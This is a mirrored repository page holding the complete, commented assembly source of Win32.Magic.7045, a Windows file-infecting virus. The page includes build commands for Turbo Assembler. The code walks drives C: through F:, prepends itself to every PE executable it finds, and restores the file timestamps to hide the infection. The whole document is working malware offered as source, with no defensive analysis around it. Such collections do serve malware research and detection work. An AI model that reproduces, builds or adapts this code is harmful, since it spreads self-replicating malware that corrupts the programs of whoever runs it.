mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
655 lines
33 KiB
NASM
655 lines
33 KiB
NASM
|
comment *
|
|||
|
Win32.Magic.7045 <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Disassembly by <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Darkman/29A <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD> <EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
Win32.Magic.7045 is a 7045 bytes runtime/direct action EXE virus. Infects
|
|||
|
all files in all directories at drive C:, D:, E: and F:, when executed, by
|
|||
|
every file in current directory and Windows directory, when executed, by
|
|||
|
prepending the virus to the original EXE file.
|
|||
|
|
|||
|
Compile Win32.Magic.7045 with Turbo Assembler v 5.0 by typing:
|
|||
|
TASM32 /M /ML /Q /ZD VOODOO.ASM
|
|||
|
TLINK32 -Tpe -c -x -aa -r -v VOODOO.OBJ,,, IMPORT32
|
|||
|
*
|
|||
|
|
|||
|
.386
|
|||
|
.model flat
|
|||
|
; KERNEL32.dll
|
|||
|
extrn CopyFileA:proc
|
|||
|
extrn CloseHandle:proc
|
|||
|
extrn CreateFileMappingA:proc
|
|||
|
extrn CreateProcessA:proc
|
|||
|
extrn DeleteFileA:proc
|
|||
|
extrn CreateFileA:proc
|
|||
|
extrn FindFirstFileA:proc
|
|||
|
extrn FindNextFileA:proc
|
|||
|
extrn FlushViewOfFile:proc
|
|||
|
extrn GetCommandLineA:proc
|
|||
|
extrn GetCurrentDirectoryA:proc
|
|||
|
extrn GetExitCodeProcess:proc
|
|||
|
extrn GetFileSize:proc
|
|||
|
extrn ExitProcess:proc
|
|||
|
extrn GetProcAddress:proc
|
|||
|
extrn GetStartupInfoA:proc
|
|||
|
extrn GlobalAlloc:proc
|
|||
|
extrn GlobalFree:proc
|
|||
|
extrn GlobalLock:proc
|
|||
|
extrn GlobalUnlock:proc
|
|||
|
extrn MapViewOfFile:proc
|
|||
|
extrn ReadFile:proc
|
|||
|
extrn SetCurrentDirectoryA:proc
|
|||
|
extrn SetFileAttributesA:proc
|
|||
|
extrn SetFileTime:proc
|
|||
|
extrn Sleep:proc
|
|||
|
extrn UnmapViewOfFile:proc
|
|||
|
extrn lstrcpyA:proc
|
|||
|
extrn GetModuleHandleA:proc
|
|||
|
; USER32.dll
|
|||
|
extrn MessageBoxA:proc
|
|||
|
|
|||
|
.data
|
|||
|
VirusSize equ 1b85h ; Size of virus (7045 bytes)
|
|||
|
nBufferLength equ 320h ; Size, in characters, of directory
|
|||
|
; buffer
|
|||
|
MAX_PATH equ 104h
|
|||
|
|
|||
|
FALSE equ 00h
|
|||
|
TRUE equ 01h
|
|||
|
FILE_ATTRIBUTE_DIRECTORY equ 10h
|
|||
|
; The "file or directory" is a
|
|||
|
; directory
|
|||
|
FILE_ATTRIBUTE_ARCHIVE equ 20h ; The file is an archive file.
|
|||
|
; Applications use this attribute to
|
|||
|
; mark files for backup or removal.
|
|||
|
CREATE_NEW equ 01h ; Creates a new file. The function
|
|||
|
; fails if the specified file already
|
|||
|
; exists.
|
|||
|
OPEN_EXISTING equ 03h ; Opens the file. The function fails
|
|||
|
; if the file does not exist.
|
|||
|
FILE_SHARE_READ equ 01h ; Other open operations can be
|
|||
|
; performed on the file for read
|
|||
|
; access. If the CreateFile function
|
|||
|
; is opening the client end of a
|
|||
|
; mailslot, this flag is specified.
|
|||
|
FILE_SHARE_WRITE equ 02h ; Other open operations can be
|
|||
|
; performed on the file for write
|
|||
|
; access.
|
|||
|
GENERIC_WRITE equ 40000000h
|
|||
|
; Specifies write access to the file.
|
|||
|
; Data can be written to the file and
|
|||
|
; the file pointer can be moved.
|
|||
|
GENERIC_READ equ 80000000h
|
|||
|
; Specifies read access to the file.
|
|||
|
; Data can be read from the file and
|
|||
|
; the file pointer can be moved.
|
|||
|
PAGE_READWRITE equ 04h ; Gives read-write access to the
|
|||
|
; committed region of pages
|
|||
|
FILE_MAP_WRITE equ 02h ; Read-write access
|
|||
|
|
|||
|
NORMAL_PRIORITY_CLASS equ 20h ; Indicates a normal process with no
|
|||
|
; special scheduling needs.
|
|||
|
INVALID_HANDLE_VALUE equ -01h
|
|||
|
|
|||
|
STARTUPINFO struct
|
|||
|
cb DWORD ? ; Specifies the size, in bytes, of the
|
|||
|
; structure.
|
|||
|
lpReserved DWORD ? ; Reserved. Set this member to NULL
|
|||
|
; before passing the structure to
|
|||
|
; CreateProcess
|
|||
|
lpDesktop DWORD ? ; Points to a zero-terminated string
|
|||
|
; that specifies either the name of
|
|||
|
; the desktop only or the name of both
|
|||
|
; the window station and desktop for
|
|||
|
; this process
|
|||
|
lpTitle DWORD ? ; For console processes, this is the
|
|||
|
; title displayed in the title bar if
|
|||
|
; a new console window is created
|
|||
|
dwX DWORD ? ; Specifies the x offset, in pixels,
|
|||
|
; of the upper left corner of a window
|
|||
|
; if a new window is created. The
|
|||
|
; offset is from the upper left corner
|
|||
|
; of the screen
|
|||
|
dwY DWORD ? ; Specifies the y offset, in pixels,
|
|||
|
; of the upper left corner of a window
|
|||
|
; if a new window is created. The
|
|||
|
; offset is from the upper left corner
|
|||
|
; of the screen
|
|||
|
dwXSize DWORD ? ; Specifies the width, in pixels, of
|
|||
|
; the window if a new window is
|
|||
|
; created
|
|||
|
dwYSize DWORD ? ; Specifies the height, in pixels, of
|
|||
|
; the window if a new window is
|
|||
|
; created
|
|||
|
dwXCountChars DWORD ? ; Specifies the screen buffer width in
|
|||
|
; character columns
|
|||
|
dwYCountChars DWORD ? ; Specifies the screen buffer height
|
|||
|
; in character rows
|
|||
|
dwFillAttribute DWORD ? ; Specifies the initial text and
|
|||
|
; background colors if a new console
|
|||
|
; window is created
|
|||
|
dwFlags DWORD ? ; This is a bit field that determines
|
|||
|
; whether certain STARTUPINFO members
|
|||
|
; are used when the process creates a
|
|||
|
; window
|
|||
|
wShowWindow WORD ? ; Specifies the default value the first
|
|||
|
; time
|
|||
|
cbReserved2 WORD ? ; Reserved; must be zero
|
|||
|
lpReserved2 DWORD ? ; Reserved; must be NULL
|
|||
|
hStdInput DWORD ? ; Specifies a handle that will be used
|
|||
|
; as the standard input handle of the
|
|||
|
; process
|
|||
|
hStdOutput DWORD ? ; Specifies a handle that will be used
|
|||
|
; as the standard output handle of the
|
|||
|
; process
|
|||
|
hStdError DWORD ? ; Specifies a handle that will be used
|
|||
|
; as the standard error handle of the
|
|||
|
; process
|
|||
|
ends
|
|||
|
|
|||
|
FILETIME struct
|
|||
|
dwLowDateTime DWORD ? ; Specifies the low-order 32 bits of
|
|||
|
; the file time
|
|||
|
dwHighDateTime DWORD ? ; Specifies the high-order 32 bits of
|
|||
|
; the file time
|
|||
|
ends
|
|||
|
|
|||
|
WIN32_FIND_DATA struct
|
|||
|
dwFileAttributes DWORD ? ; Specifies the file attributes of the
|
|||
|
; file found
|
|||
|
ftCreationTime FILETIME <> ; Specifies the time the file was
|
|||
|
; created
|
|||
|
ftLastAccessTime FILETIME <> ; Specifies the time that the file was
|
|||
|
; last accessed
|
|||
|
ftLastWriteTime FILETIME <> ; Specifies the time that the file was
|
|||
|
; last written to
|
|||
|
nFileSizeHigh DWORD ? ; Specifies the high-order DWORD value
|
|||
|
; of the file size, in bytes
|
|||
|
nFileSizeLow DWORD ? ; Specifies the low-order DWORD value
|
|||
|
; of the file size, in bytes
|
|||
|
dwReserved0 DWORD ? ; Reserved for future use
|
|||
|
dwReserved1 DWORD ? ; Reserved for future use
|
|||
|
cFileName BYTE MAX_PATH dup(?)
|
|||
|
; A null-terminated string that is the
|
|||
|
; name of the file
|
|||
|
cAlternate BYTE 0eh dup(?) ; A null-terminated string that is an
|
|||
|
; alternative name for the file
|
|||
|
ends
|
|||
|
|
|||
|
PROCESS_INFORMATION struct
|
|||
|
hProcess DWORD ? ; Handle to the newly created process
|
|||
|
hThread DWORD ? ; Handle to the primary thread of the
|
|||
|
; newly created process
|
|||
|
dwProcessId DWORD ? ; Global process identifier that can
|
|||
|
; be used to identify a process
|
|||
|
dwThreadId DWORD ? ; global thread identifiers that can
|
|||
|
; be used to identify a thread
|
|||
|
ends
|
|||
|
|
|||
|
szFileName db '*.EXE',00h ; Name of file to search for
|
|||
|
szFileName_ db '*.*',00h ; " " " " " "
|
|||
|
szCurDir db 'c:\',00h ; Name of new current directory
|
|||
|
db 'Magic People-Voodoo People !',00h
|
|||
|
db 00h
|
|||
|
ProcessInformation PROCESS_INFORMATION <>
|
|||
|
dwExitCode dd ? ; Termination status
|
|||
|
dwFileHandle dd ? ; File handle
|
|||
|
dwFileHandle_ dd ? ; File handle
|
|||
|
dwMappingHandle dd ? ; File mapping handle
|
|||
|
lpMappedView dd ? ; Starting address of the mapped view
|
|||
|
dwFileSize dd ? ; Low-order doubleword of the file
|
|||
|
; size
|
|||
|
infect_flag db ? ; Infection flag
|
|||
|
exit_flag db ? ; Exit flag
|
|||
|
NumberOfBytesRead dd ? ; Number of bytes read
|
|||
|
lpFileExtension dd ? ; Pointer to file extension
|
|||
|
StartupInfo STARTUPINFO <>
|
|||
|
szFileName__:
|
|||
|
db 11ah dup(00h)
|
|||
|
db 206h dup(?)
|
|||
|
FindFileData WIN32_FIND_DATA <>
|
|||
|
db 20eh dup(?)
|
|||
|
cBuffer db VirusSize dup(?)
|
|||
|
; Buffer that receives data
|
|||
|
dwSearchHandle dd ? ; Search handle
|
|||
|
dwSearchHandle_ dd ? ; Search handle
|
|||
|
szCurDir_:
|
|||
|
cBuffer_ db 320h dup(?) ; Buffer for current directory
|
|||
|
szCurDir__:
|
|||
|
cBuffer__ db 320h dup(?) ; Buffer for current directory
|
|||
|
db 724h dup(?)
|
|||
|
|
|||
|
.code
|
|||
|
code_begin:
|
|||
|
push offset StartupInfo ; Address of STARTUPINFO structure
|
|||
|
call GetStartupInfoA
|
|||
|
|
|||
|
call GetCommandLineA
|
|||
|
mov esi,eax ; ESI = pointer to the command-line
|
|||
|
; string for the current process
|
|||
|
cmp byte ptr [esi+01h],':' ; Not Universal Naming Convention
|
|||
|
; (UNC)?
|
|||
|
je _lstrcpyA ; Equal? Jump to _lstrcpyA
|
|||
|
|
|||
|
inc eax ; Increase pointer to the command-line
|
|||
|
; string for the current process
|
|||
|
_lstrcpyA:
|
|||
|
push eax ; EAX = address of string to copy
|
|||
|
push offset szFileName__ ; Address of buffer
|
|||
|
call lstrcpyA
|
|||
|
|
|||
|
lea esi,szFileName__ ; ESI = offset of szFileName__
|
|||
|
find_dot_in_filename:
|
|||
|
inc esi ; Increase pointer to the command-line
|
|||
|
; string for the current process
|
|||
|
|
|||
|
cmp byte ptr [esi],'.' ; Found dot in filename?
|
|||
|
jne find_dot_in_filename ; Not equal? Jump to
|
|||
|
; find_dot_in_filename
|
|||
|
mov byte ptr [esi+04h],00 ; Store zero at end of filename
|
|||
|
mov [lpFileExtension],esi ; Store pointer to file extension
|
|||
|
|
|||
|
push 00h ; Handle of file with attributes to
|
|||
|
; copy
|
|||
|
push FILE_ATTRIBUTE_ARCHIVE ; File attributes
|
|||
|
push OPEN_EXISTING ; How to create
|
|||
|
push 00h ; Address of security descriptor
|
|||
|
push FILE_SHARE_READ ; Share mode
|
|||
|
push GENERIC_READ ; Access (read-write) mode
|
|||
|
push offset szFileName__ ; Address of name of the file
|
|||
|
call CreateFileA
|
|||
|
mov [dwFileHandle],eax ; Store file handle
|
|||
|
|
|||
|
push eax ; EAX = file handle
|
|||
|
push 00h ; Address of structure for data
|
|||
|
push offset NumberOfBytesRead
|
|||
|
; Address of number of bytes read
|
|||
|
push VirusSize ; Number of bytes to read
|
|||
|
push offset cBuffer ; Address of buffer that receives data
|
|||
|
push eax ; Handle of file to read
|
|||
|
call ReadFile
|
|||
|
pop eax ; EAX = file handle
|
|||
|
|
|||
|
push 00h ; Address of high-order word for file
|
|||
|
; size
|
|||
|
push eax ; Handle of file to get size of
|
|||
|
call GetFileSize
|
|||
|
mov [dwFileSize],eax ; Store low-order doubleword of the
|
|||
|
; file size
|
|||
|
cmp eax,VirusSize ; First generation?
|
|||
|
je virus_exit ; Equal? Jump to virus_exit
|
|||
|
|
|||
|
mov esi,[lpFileExtension] ; ESI = pointer to file extension
|
|||
|
mov [esi],'MOC.' ; Store file extension
|
|||
|
cmp [esi+05h],'$$$$' ; Temporarily disnfected file?
|
|||
|
je _DeleteFileA ; Equal? Jump to _DeleteFileA
|
|||
|
|
|||
|
push 00h ; Handle of file with attributes to
|
|||
|
; copy
|
|||
|
push FILE_ATTRIBUTE_ARCHIVE ; File attributes
|
|||
|
push CREATE_NEW + OPEN_EXISTING
|
|||
|
; How to create
|
|||
|
push 00h ; Address of security descriptor
|
|||
|
push FILE_SHARE_READ + FILE_SHARE_WRITE
|
|||
|
; Share mode
|
|||
|
push GENERIC_READ + GENERIC_WRITE
|
|||
|
; Access (read-write) mode
|
|||
|
push offset szFileName__ ; Address of name of the file
|
|||
|
call CreateFileA
|
|||
|
mov [dwFileHandle_],eax ; Store file handle
|
|||
|
|
|||
|
push 00h ; Name of file-mapping object
|
|||
|
push [dwFileSize] ; Low-order doubleword of object size
|
|||
|
push 00h ; High-order doubleword of object size
|
|||
|
push PAGE_READWRITE ; Protection for mapping object
|
|||
|
push 00h ; Optional security attributes
|
|||
|
push [dwFileHandle_] ; Handle of file to map
|
|||
|
call CreateFileMappingA
|
|||
|
mov [dwMappingHandle],eax ; Store file mapping handle
|
|||
|
|
|||
|
push [dwFileSize] ; Low-order doubleword of object size
|
|||
|
push 00h ; Low-order doubleword of file offset
|
|||
|
push 00h ; High-order doubleword of file offset
|
|||
|
push FILE_MAP_WRITE ; Access mode
|
|||
|
push eax ; File-mapping object to map into
|
|||
|
; address space
|
|||
|
call MapViewOfFile
|
|||
|
mov [lpMappedView],eax ; Store starting address of the mapped
|
|||
|
; view
|
|||
|
|
|||
|
push 00h ; Address of structure for data
|
|||
|
push offset NumberOfBytesRead
|
|||
|
; Address of number of bytes read
|
|||
|
push [dwFileSize] ; Low-order doubleword of object size
|
|||
|
push eax ; Address of buffer that receives data
|
|||
|
push [dwFileHandle] ; Handle of file to read
|
|||
|
call ReadFile
|
|||
|
|
|||
|
push 00h ; Number of bytes in range
|
|||
|
push [lpMappedView] ; Starting address of the mapped view
|
|||
|
call FlushViewOfFile
|
|||
|
|
|||
|
push [lpMappedView] ; Address where mapped view begins
|
|||
|
call UnmapViewOfFile
|
|||
|
|
|||
|
push [dwMappingHandle] ; Handle of object to close
|
|||
|
call CloseHandle
|
|||
|
|
|||
|
push [dwFileHandle_] ; Handle of object to close
|
|||
|
call CloseHandle
|
|||
|
|
|||
|
push offset ProcessInformation
|
|||
|
; Pointer to PROCESS_INFORMATION
|
|||
|
push offset StartupInfo ; Pointer to STARTUPINFO
|
|||
|
push 00h ; Pointer to current directory name
|
|||
|
push 00h ; Pointer to new environment block
|
|||
|
push NORMAL_PRIORITY_CLASS ; Creation flags
|
|||
|
push 00h ; Handle inheritance flag
|
|||
|
push 00h ; Pointer to thread security
|
|||
|
; attributes
|
|||
|
push 00h ; Pointer to process security
|
|||
|
; attributes
|
|||
|
|
|||
|
mov esi,[lpFileExtension] ; ESI = pointer to file extension
|
|||
|
mov byte ptr [esi+04h],' ' ; Store space at end of filename
|
|||
|
|
|||
|
push offset szFileName__ ; Pointer to command line string
|
|||
|
push 00h ; Pointer to name of executable module
|
|||
|
call CreateProcessA
|
|||
|
|
|||
|
jmp _CloseHandle
|
|||
|
virus_exit:
|
|||
|
mov [exit_flag],TRUE ; Exit code for all threads
|
|||
|
_CloseHandle:
|
|||
|
push [dwFileHandle] ; Handle of object to close
|
|||
|
call CloseHandle
|
|||
|
|
|||
|
call infect_drives
|
|||
|
cmp [exit_flag],TRUE ; Exit code for all threads?
|
|||
|
je _ExitProcess ; Equal? Jump to _ExitProcess
|
|||
|
_GetExitCodeProcess:
|
|||
|
push offset dwExitCode ; Address to receive termination
|
|||
|
; status
|
|||
|
push [ProcessInformation.hProcess]
|
|||
|
; Handle to the process
|
|||
|
call GetExitCodeProcess
|
|||
|
cmp [dwExitCode],00h ; No error?
|
|||
|
je _CreateProcessA ; Equal? Jump to _CreateProcessA
|
|||
|
|
|||
|
jmp _GetExitCodeProcess
|
|||
|
_CreateProcessA:
|
|||
|
push offset ProcessInformation
|
|||
|
; Pointer to PROCESS_INFORMATION
|
|||
|
push offset StartupInfo ; Pointer to STARTUPINFO
|
|||
|
push 00h ; Pointer to current directory name
|
|||
|
push 00h ; Pointer to new environment block
|
|||
|
push NORMAL_PRIORITY_CLASS ; Creation flags
|
|||
|
push 00h ; Handle inheritance flag
|
|||
|
push 00h ; Pointer to thread security
|
|||
|
; attributes
|
|||
|
push 00h ; Pointer to process security
|
|||
|
; attributes
|
|||
|
|
|||
|
mov esi,[lpFileExtension] ; ESI = pointer to file extension
|
|||
|
mov byte ptr [esi+04h],' ' ; Store space at end of filename
|
|||
|
mov [esi],'EXE.' ; Store file extension
|
|||
|
mov [esi+05h],'$$$$' ; Store command-line
|
|||
|
|
|||
|
push offset szFileName__ ; Pointer to command line string
|
|||
|
push 00h ; Pointer to name of executable module
|
|||
|
call CreateProcessA
|
|||
|
_ExitProcess:
|
|||
|
push 00h ; Exit code for all threads
|
|||
|
call ExitProcess
|
|||
|
_DeleteFileA:
|
|||
|
push offset szFileName__ ; Address of name of file to delete
|
|||
|
call DeleteFileA
|
|||
|
|
|||
|
jmp _ExitProcess
|
|||
|
|
|||
|
infect_drives proc near ; Infect drives
|
|||
|
push offset cBuffer_ ; Address of buffer for current
|
|||
|
; directory
|
|||
|
push nBufferLength ; Size, in characters, of directory
|
|||
|
; buffer
|
|||
|
call GetCurrentDirectoryA
|
|||
|
|
|||
|
call infect_directories
|
|||
|
|
|||
|
mov ecx,04h ; Infect drive C:, D:, E: and F:
|
|||
|
set_current_directory_loop:
|
|||
|
push ecx ; ECX = counter
|
|||
|
push offset szCurDir ; Address of name of new current
|
|||
|
; directory
|
|||
|
call SetCurrentDirectoryA
|
|||
|
|
|||
|
call infect_directories
|
|||
|
|
|||
|
inc byte ptr [szCurDir] ; Increase drive letter
|
|||
|
|
|||
|
pop ecx ; ECX = counter
|
|||
|
loop set_current_directory_loop
|
|||
|
|
|||
|
push offset szCurDir_ ; Address of name of new current
|
|||
|
; directory
|
|||
|
call SetCurrentDirectoryA
|
|||
|
|
|||
|
jmp _FindNextFileA
|
|||
|
|
|||
|
ret ; Return
|
|||
|
endp
|
|||
|
|
|||
|
infect_directories proc near ; Infect directories
|
|||
|
push offset cBuffer__ ; Address of buffer for current
|
|||
|
; directory
|
|||
|
push nBufferLength ; Size, in characters, of directory
|
|||
|
; buffer
|
|||
|
call GetCurrentDirectoryA
|
|||
|
|
|||
|
push offset FindFileData ; Address of returned information
|
|||
|
push offset szFileName_ ; Address of name of file to search
|
|||
|
; for
|
|||
|
call FindFirstFileA
|
|||
|
mov [dwSearchHandle],eax ; Store search handle
|
|||
|
_FindNextFileA:
|
|||
|
push offset FindFileData ; Address of returned information
|
|||
|
push [dwSearchHandle] ; Handle of search
|
|||
|
call FindNextFileA
|
|||
|
or eax,eax ; Function failed?
|
|||
|
jz function_failed ; Zero? Jump to function_failed
|
|||
|
|
|||
|
cmp [FindFileData.cFileName],'.'
|
|||
|
; Directory?
|
|||
|
je _FindNextFileA ; Equal? Jump to _FindNextFileA
|
|||
|
mov eax,[FindFileData.dwFileAttributes]
|
|||
|
and eax,FILE_ATTRIBUTE_DIRECTORY
|
|||
|
; Directory?
|
|||
|
jz _FindNextFileA ; Zero? Jump to _FindNextFileA
|
|||
|
|
|||
|
push offset szCurDir__ ; Address of name of new current
|
|||
|
; directory
|
|||
|
call SetCurrentDirectoryA
|
|||
|
|
|||
|
push offset FindFileData.cFileName
|
|||
|
; Address of name of new current
|
|||
|
; directory
|
|||
|
call SetCurrentDirectoryA
|
|||
|
|
|||
|
push offset FindFileData ; Address of returned information
|
|||
|
push offset szFileName ; Address of name of file to search
|
|||
|
; for
|
|||
|
call FindFirstFileA
|
|||
|
mov [dwSearchHandle_],eax ; Store search handle
|
|||
|
cmp eax,INVALID_HANDLE_VALUE
|
|||
|
je _FindNextFileA ; Function failed? Jump to
|
|||
|
; _FindNextFileA
|
|||
|
continue_a_file_search:
|
|||
|
or eax,eax ; Function failed?
|
|||
|
jz _FindNextFileA ; Zero? Jump to _FindNextFileA
|
|||
|
|
|||
|
call infect_file
|
|||
|
|
|||
|
push offset FindFileData ; Address of returned information
|
|||
|
push [dwSearchHandle_] ; Handle of search
|
|||
|
call FindNextFileA
|
|||
|
|
|||
|
jmp continue_a_file_search
|
|||
|
function_failed:
|
|||
|
ret ; Return
|
|||
|
endp
|
|||
|
|
|||
|
infect_file proc near ; Infect file
|
|||
|
push FILE_ATTRIBUTE_ARCHIVE ; Address of attributes to set
|
|||
|
push offset FindFileData.cFileName
|
|||
|
; Address of filename
|
|||
|
call SetFileAttributesA
|
|||
|
|
|||
|
push 00h ; Handle of file with attributes to
|
|||
|
; copy
|
|||
|
push FILE_ATTRIBUTE_ARCHIVE ; File attributes
|
|||
|
push OPEN_EXISTING ; How to create
|
|||
|
push 00h ; Address of security descriptor
|
|||
|
push FILE_SHARE_READ + FILE_SHARE_WRITE
|
|||
|
; Share mode
|
|||
|
push GENERIC_READ + GENERIC_WRITE
|
|||
|
; Access (read-write) mode
|
|||
|
push offset FindFileData.cFileName
|
|||
|
; Address of name of the file
|
|||
|
call CreateFileA
|
|||
|
cmp eax,INVALID_HANDLE_VALUE
|
|||
|
je _SetFileAttributesA ; Function failed? Jump to
|
|||
|
; _SetFileAttributesA
|
|||
|
mov [dwFileHandle],eax ; Store file handle
|
|||
|
|
|||
|
push 00h ; Address of high-order word for file
|
|||
|
; size
|
|||
|
push eax ; Handle of file to get size of
|
|||
|
call GetFileSize
|
|||
|
mov [dwFileSize],eax ; Store low-order doubleword of the
|
|||
|
; file size
|
|||
|
_CreateFileMappingA:
|
|||
|
push eax ; EAX = low-order doubleword of the
|
|||
|
; file size
|
|||
|
|
|||
|
push 00h ; Name of file-mapping object
|
|||
|
push eax ; Low-order doubleword of object size
|
|||
|
push 00h ; High-order doubleword of object size
|
|||
|
push PAGE_READWRITE ; Protection for mapping object
|
|||
|
push 00h ; Optional security attributes
|
|||
|
push [dwFileHandle]
|
|||
|
call CreateFileMappingA
|
|||
|
mov [dwMappingHandle],eax ; Store file mapping handle
|
|||
|
|
|||
|
push 00h ; Low-order doubleword of file offset
|
|||
|
push 00h ; High-order doubleword of file offset
|
|||
|
push FILE_MAP_WRITE ; Access mode
|
|||
|
push eax ; File-mapping object to map into
|
|||
|
; address space
|
|||
|
call MapViewOfFile
|
|||
|
|
|||
|
cmp [infect_flag],TRUE ; Infect file?
|
|||
|
je infect_file_ ; Equal? Jump to infect_file_
|
|||
|
|
|||
|
mov esi,eax ; ESI = starting address of the mapped
|
|||
|
; view
|
|||
|
mov edi,[esi+3ch] ; EDI = offset of new executable (NE,
|
|||
|
; LE,etc) header within disk file
|
|||
|
cmp dword ptr [esi+edi],'EP'
|
|||
|
; Portable Executable (PE)?
|
|||
|
jne infect_exit ; Not equal? Jump to infect_exit
|
|||
|
cmp [esi+6fh],'3NIW'
|
|||
|
je infect_exit ; Equal? Jump to infect_exit
|
|||
|
|
|||
|
call _UnmapViewOfFile
|
|||
|
|
|||
|
mov [infect_flag],TRUE ; Infect file
|
|||
|
|
|||
|
mov eax,[dwFileSize] ; EAX = Low-order doubleword of the
|
|||
|
; file size
|
|||
|
add eax,VirusSize ; Add size of virus to low-order
|
|||
|
; doubleword of the file size
|
|||
|
jmp _CreateFileMappingA
|
|||
|
infect_file_:
|
|||
|
mov [infect_flag],FALSE ; Don't infect file
|
|||
|
mov [lpMappedView],eax ; Store starting address of the mapped
|
|||
|
; view
|
|||
|
|
|||
|
push edi esi ecx ; Save registers at stack
|
|||
|
pushf ; Save flags at stack
|
|||
|
add eax,[dwFileSize] ; Add low-order doubleword of the file
|
|||
|
; size to starting address of the
|
|||
|
; mapped view
|
|||
|
add eax,VirusSize-01h ; Add size of virus minus one to
|
|||
|
; starting address of the mapped view
|
|||
|
mov edi,eax ; EDI = pointer to last byte of file
|
|||
|
mov esi,[lpMappedView] ; ESI = starting address of the mapped
|
|||
|
; view
|
|||
|
add esi,[dwFileSize] ; Add low-order doubleword of the file
|
|||
|
; size to starting address of the
|
|||
|
; mapped view
|
|||
|
mov ecx,[dwFileSize] ; ECX = low-order doubleword of the
|
|||
|
; file size
|
|||
|
dec esi ; ESI = pointer to last byte of
|
|||
|
; original code
|
|||
|
std ; Set direction flag
|
|||
|
rep movsb ; Move original code to end of file
|
|||
|
|
|||
|
mov edi,[lpMappedView] ; EDI = starting address of the mapped
|
|||
|
; view
|
|||
|
xor eax,eax ; Zero EAX
|
|||
|
mov ecx,VirusSize ; Store seven thousand and forty-five
|
|||
|
; bytes
|
|||
|
cld ; Clear direction flag
|
|||
|
rep stosb ; Overwrite the first seven thousand
|
|||
|
; and forty-five bytes of original
|
|||
|
; code
|
|||
|
|
|||
|
mov edi,[lpMappedView] ; EDI = starting address of the mapped
|
|||
|
; view
|
|||
|
lea esi,cBuffer ; ESI = offset of cBuffer
|
|||
|
mov ecx,VirusSize ; Move seven thousand and forty-five
|
|||
|
; bytes
|
|||
|
cld ; Clear direction flag
|
|||
|
rep movsb ; Move virus to beginning of file
|
|||
|
popf ; Load flags from stack
|
|||
|
pop ecx esi edi ; Load registers from stack
|
|||
|
infect_exit:
|
|||
|
call _UnmapViewOfFile
|
|||
|
|
|||
|
push offset FindFileData.ftLastWriteTime-08h
|
|||
|
; Time the file was last written
|
|||
|
push offset FindFileData.ftLastAccessTime-04h
|
|||
|
; Time the file was last accessed
|
|||
|
push offset FindFileData.ftCreationTime
|
|||
|
; Time the file was created
|
|||
|
push [dwFileHandle] ; Identifies the file
|
|||
|
call SetFileTime
|
|||
|
|
|||
|
push [dwFileHandle] ; Handle of object to close
|
|||
|
call CloseHandle
|
|||
|
_SetFileAttributesA:
|
|||
|
push [FindFileData.dwFileAttributes]
|
|||
|
; Address of attributes to set
|
|||
|
push offset FindFileData.cFileName
|
|||
|
; Address of filename
|
|||
|
call SetFileAttributesA
|
|||
|
|
|||
|
ret ; Return
|
|||
|
endp
|
|||
|
|
|||
|
_UnmapViewOfFile proc near ; Unmaps a mapped view of a file from
|
|||
|
; the calling process's address space
|
|||
|
; and close it
|
|||
|
push [lpMappedView] ; Address where mapped view begins
|
|||
|
call UnmapViewOfFile
|
|||
|
|
|||
|
push [dwMappingHandle] ; Handle of object to close
|
|||
|
call CloseHandle
|
|||
|
|
|||
|
ret ; Return
|
|||
|
endp
|
|||
|
code_end:
|
|||
|
|
|||
|
end code_begin
|